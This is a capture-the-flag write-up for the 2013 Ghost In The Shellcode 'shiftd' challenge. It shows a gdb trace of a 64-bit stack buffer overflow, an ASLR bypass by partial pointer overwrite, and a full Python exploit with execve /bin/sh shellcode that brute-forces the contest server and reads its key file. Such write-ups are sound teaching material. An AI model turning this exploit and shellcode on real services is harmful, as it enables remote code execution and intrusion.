Monday, February 18, 2013

Ghost In The Shellcode 2013 CTF - Pwnable 100 - Question 8 Shiftd [Team xbios]

The given file shiftd-3a9c2a55e77d1467ee46dfb931170c737d24f310 is a ELF 64-bit LSB executable. The binary first checks for a string "NowIsTheWinterOfOurDiscountTent" using strcmp(). Once this is passed, name is requested. After this there is a request to provide a time format. Data is accepted using read() which is vulnerable to buffer overflow. 1072 bytes of data can overwrite saved RIP.
Here is the gdb session:
NowIsTheWinterOfOurDiscountTent
Welcome to Shifty's Time Formatting Service!
What is your name?
AAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAA����>!
Please provide a time format:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB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BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Thank you! Come again!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004009eb in ?? ()
(gdb) x/x $rsp
0x7fffffffdf88: 0x4242424242424242
(gdb) x/10x $rsp
0x7fffffffdf88: 0x4242424242424242 0x00007fffffffe0c8
0x7fffffffdf98: 0x0000000100400643 0x6568547349776f4e
0x7fffffffdfa8: 0x664f7265746e6957 0x6f6373694472754f
0x7fffffffdfb8: 0x00746e6554746e75 0x0000000000000000
0x7fffffffdfc8: 0x0000000000000000 0x0000000000000000
There is no canary or NX protection but we have ASLR to bypass. To bypass ASLR we look for valid pointers within the stack, do a partial overwrite using bruteforce and make it point into our NOPs. In the gdb session above, we see that there is a stack address immediately after the saved RIP.To exploit the binary:

[*] Overwrite saved RIP with address of 'ret' instruction in text segment
[*] Overwrite LSB of the address immediately after saved RIP with NUL byte. This will lower the address
[*] Bruteforce the next byte so that it will point into our NOPs
[*] Our shellcode gets executed when we hit the right address

The key file was located in /home/shiftd/. Here is the final exploit to read the file
#!/usr/bin/env python

import socket
import struct

ip = '204.236.213.69' # shiftd.2013.ghostintheshellcode.com
port = 5177 

# msfvenom -p linux/x64/exec CMD=/bin/sh -a x86_64 -b '\x0a' # 47 bytes

shellcode = ("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
             "\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8" +
             "\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57" +
             "\x48\x89\xe6\x0f\x05")

# 1072 bytes to overwrite RIP

payload  = struct.pack("B",0x90) * 975
payload += shellcode                     # 47 bytes
payload += struct.pack("B",0x90) * 42  
payload += struct.pack("<Q",0x400647)    # overwrite saved RIP with ret2ret
payload += struct.pack("B",0x00)         # overwrite last byte of pointer with NUL

# bruteforce stack address pointer

for i in range(11,256):
    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect((ip,port))
    soc.send("NowIsTheWinterOfOurDiscountTent\n")
    print soc.recv(512)

    soc.send("AAAAAAAAAAAAAAAA\n")       # send name
    print soc.recv(512)

    byte7 = struct.pack("B",i)
    final = payload + byte7 + "\n"
    soc.send(final)                      # send time format
    print soc.recv(2048)
 
    soc.send("cat /home/shiftd/key\n")
    print soc.recv(1024)
Since this is not a one shot exploit,we had to wait for sometime to get the shellcode to be executed
[ctf@renorobert PWN100-shift]# while true;do python exploit.py;done

#########################################################################

What is your name?

Welcome, AAAAAAAAAAAAAAAA�����!
Please provide a time format:

Your formatted time is:
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j;X�H�/bin/sh

Thank you! Come again!

http://shifty.urbanup.com/4195551

##########################################################################

So the flag for the challenge is : http://shifty.urbanup.com/4195551

No comments :

Post a Comment